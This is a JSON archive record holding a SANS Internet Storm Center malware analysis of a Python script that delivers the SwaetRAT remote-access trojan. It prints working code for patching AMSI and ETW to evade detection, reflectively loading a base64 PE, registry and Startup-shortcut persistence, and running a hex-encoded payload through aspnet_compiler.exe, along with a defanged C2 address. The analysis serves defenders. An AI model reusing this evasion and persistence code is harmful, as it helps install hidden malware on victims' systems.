{
	"id": "b84165a7-cbe1-4c38-a2a7-86ceed114e66",
	"created_at": "2026-04-06T00:22:36.942394Z",
	"updated_at": "2026-04-10T03:31:25.896077Z",
	"deleted_at": null,
	"sha1_hash": "132ed3160c0dca1e6b513b871cdc075fc844bb95",
	"title": "SwaetRAT Delivery Through Python - SANS Internet Storm Center",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 168774,
	"plain_text": "SwaetRAT Delivery Through Python - SANS Internet Storm Center\r\nBy SANS Internet Storm Center\r\nArchived: 2026-04-05 16:32:00 UTC\r\nWe entered a new year, but attack scenarios have not changed (yet). I found a Python script with an interesting\r\nbehavior[1] and a low Virustotal score (7/61). It targets Microsoft Windows hosts because it starts by loading all\r\nlibraries required to call Microsoft API Calls and manipulate payloads:\r\nfrom System.Reflection import Assembly\r\nfrom ctypes import windll\r\nfrom ctypes import wintypes\r\nimport ctypes\r\nI have already covered multiple Python scripts that interact with the operating system at the API level. \r\nBefore handling the next stage, the script performs live patching[2] of interesting API calls to cover its tracks. The first\r\none is pretty common, AmsiScanBuffer() , but it also patches EtwEventWrite() [3] to prevent the creation of events.\r\nThe code (beautified) is the same for both. The very first bytes of the API calls are overwritten to return an expected\r\nvalue:\r\nif platform.architecture()[0] == '64bit':\r\n etw_patch = (ctypes.c_char * 4)(0x48, 0x33, 0xc0, 0xc3)\r\nif platform.architecture()[0] != '64bit':\r\n etw_patch = (ctypes.c_char * 5)(0x33, 0xc0, 0xc2, 0x14, 0x00)\r\npEventWrite = GetProcAddress(GetModuleHandleA(b\"ntdll.dll\"), b\"EtwEventWrite\")\r\noldprotect = wintypes.DWORD(0)\r\nVirtualProtect(pEventWrite, ctypes.sizeof(etw_patch), RWX, ctypes.byref(oldprotect))\r\nRtlMoveMemory(pEventWrite, etw_patch, ctypes.sizeof(etw_patch))\r\nVirtualProtect(pEventWrite, ctypes.sizeof(etw_patch), oldprotect, ctypes.byref(oldprotect))\r\nFinally, the script decodes, loads, and invokes the next stage:\r\nPAYLOAD_DATA = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAA [...string is too long...]\"\r\nassembly = Assembly.Load(base64.b64decode(PAYLOAD_DATA))\r\ninstance = assembly.CreateInstance(assembly.EntryPoint.Name)\r\nassembly.EntryPoint.Invoke(instance,None)\r\nYou will probably recognize the first bytes of the payload, we are facing a PE file[4].\r\nremnux@remnux:/MalwareZoo/20250102$ base64dump.py -n 10 stage1.py\r\nID Size Encoded Decoded md5 decoded\r\n-- ---- ------- ------- -----------\r\nhttps://dshield.org/diary/SwaetRAT+Delivery+Through+Python/31554/\r\nPage 1 of 4\n\n1: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c\r\n2: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c\r\n3: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c\r\n4: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c\r\n5: 16 GetModuleHandleA ..L...xv.vW. 1b7ad174aff72b50b2484077b9fe6e0c\r\n6: 179544 TVqQAAMAAAAEAAAA MZ.............. 0ce61b311f5694e8d3c22ff1729cf805\r\nremnux@remnux:/MalwareZoo/20250102$ base64dump.py -n 10 stage1.py -s 6 -d | file -\r\n/dev/stdin: PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows\r\nThe executable is a .Net binary that can be easily disassembled (not obfuscated) and reversed.\r\nFirst, it copies itself to \" %LOCALAPPDATA%\\Microsoft\\_OneDrive.exe \" and checks if it is executed from this directory.\r\nThis is a nice trick because many sandboxes execute samples always from the same directory eg. C:\\Temp.\r\nIf so, it will extract the next stage. It also creates the directory \" %LOCALAPPDATA%\\Xbox \". Persistence is implemented via\r\na registry key and a link file in the Startup folder:\r\npublic static void __PER_v4_() {\r\n string text = \"Software\\\\STD\";\r\n string text2 = \"DDD\";\r\n try {\r\n RegistryKey registryKey = Registry.CurrentUser.CreateSubKey(text);\r\n registryKey.SetValue(text2, \"\\\"\" + Process.GetCurrentProcess().MainModule.FileName.ToString() + \"\\\r\n registryKey.Close();\r\n }\r\n catch (Exception) { }\r\n try {\r\n WshShell wshShell = (WshShell)Activator.CreateInstance(Marshal.GetTypeFromCLSID(new Guid(\"72C24DD5\r\n if (Program.\u003c\u003eo__0.\u003c\u003ep__0 == null) {\r\n Program.\u003c\u003eo__0.\u003c\u003ep__0 = CallSite\u003cFunc\u003cCallSite, object, IWshShortcut\u003e\u003e.Create(Binder.Convert(C\r\n }\r\n IWshShortcut wshShortcut = Program.\u003c\u003eo__0.\u003c\u003ep__0.Target(Program.\u003c\u003eo__0.\u003c\u003ep__0,\r\nwshShell.CreateShortcut(Environment.GetFolderPath(Environment.SpecialFolder.Startup) + \"\\\\Winexe.lnk\"));\r\n wshShortcut.TargetPath = \"powershell.exe\";\r\n wshShortcut.Arguments = \"Start-Process -FilePath (Get-ItemProperty 'HKCU:\" + text + \"').\" + text2;\r\n wshShortcut.WindowStyle = 7;\r\n wshShortcut.Save();\r\n }\r\n catch (Exception) { }\r\n}\r\nFinally, the next payload is decoded:\r\nnew WebClient();\r\nstring hex = \"4D5A90000300000004000000FFFF0000B8000000[...string is too long...]\";\r\ntry {\r\n Thread.Sleep(1500);\r\n}\r\nhttps://dshield.org/diary/SwaetRAT+Delivery+Through+Python/31554/\r\nPage 2 of 4\n\ncatch { }\r\ntry {\r\n Program.Run(\"C:\\\\Windows\\\\Microsoft.NET\\\\Framework\\\\v4.0.30319\\\\aspnet_compiler.exe\", Program.BA(hex)\r\nThe hex variable is decoded using the BA() function:\r\npublic static byte[] BA(string hex) {\r\n int length = hex.Length;\r\n byte[] array = new byte[length / 2];\r\n for (int i = 0; i \u003c length; i += 2) {\r\n array[i / 2] = Convert.ToByte(hex.Substring(i, 2), 16);\r\n }\r\n return array;\r\n}\r\nThe next stage (SHA256: f8ff16829e8fe1d06126c42c76b2bf48c62a02d1c6426e448e723168ecdf19fc) is the SwaetRAT\r\nitself. Another .Net binary, non-obfuscated, you can see the RAT capabilities directly during the disassembly:\r\nThe malware copies itself in another location: \" %APPDATA%\\CCleaner.exe \". The configuration can be easily extracted:\r\nhttps://dshield.org/diary/SwaetRAT+Delivery+Through+Python/31554/\r\nPage 3 of 4\n\nIt's always interesting to perform some threat intelligence and I found interesting relations to this RAT:\r\nThe sample (f8ff16829e8fe1d06126c42c76b2bf48c62a02d1c6426e448e723168ecdf19fc) has been identified in\r\nanother campaign[5]\r\nThe sample has been covered by eSentire[6] in 2023\r\nThe RAT C2 server can be extracted from the payload:\r\n{\r\n \"c2\": [\r\n \"144[.]126[.]149[.]221:7777\"\r\n ],\r\n \"rule\": \"Swaetrat\",\r\n \"family\": \"swaetrat\"\r\n}\r\n[1] https://www.virustotal.com/gui/file/8693e1c6995ca06b43d44e11495dc24d809579fe8c3c3896e972e2292e4c7abd/details\r\n[2] https://isc.sans.edu/diary/Live+Patching+DLLs+with+Python/31218\r\n[3] https://learn.microsoft.com/en-us/windows/win32/devnotes/etweventwrite\r\n[4] https://isc.sans.edu/diary/Searching+for+Base64encoded+PE+Files/22199\r\n[5] https://isc.sans.edu/diary/ExelaStealer+Delivered+From+Russia+With+Love/31118\r\n[6] https://www.esentire.com/blog/phantomcontrol-returns-with-ande-loader-and-swaetrat\r\nXavier Mertens (@xme)\r\nXameco\r\nSenior ISC Handler - Freelance Cyber Security Consultant\r\nPGP Key\r\nSource: https://dshield.org/diary/SwaetRAT+Delivery+Through+Python/31554/\r\nhttps://dshield.org/diary/SwaetRAT+Delivery+Through+Python/31554/\r\nPage 4 of 4",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://dshield.org/diary/SwaetRAT+Delivery+Through+Python/31554/"
	],
	"report_names": [
		"31554"
	],
	"threat_actors": [
		{
			"id": "45bb30d6-8cb3-4ac1-b85f-26e9abae6058",
			"created_at": "2024-01-09T02:00:04.185637Z",
			"updated_at": "2026-04-10T02:00:03.50568Z",
			"deleted_at": null,
			"main_name": "PhantomControl",
			"aliases": [],
			"source_name": "MISPGALAXY:PhantomControl",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434956,
	"ts_updated_at": 1775791885,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/132ed3160c0dca1e6b513b871cdc075fc844bb95.pdf",
		"text": "https://archive.orkl.eu/132ed3160c0dca1e6b513b871cdc075fc844bb95.txt",
		"img": "https://archive.orkl.eu/132ed3160c0dca1e6b513b871cdc075fc844bb95.jpg"
	}
}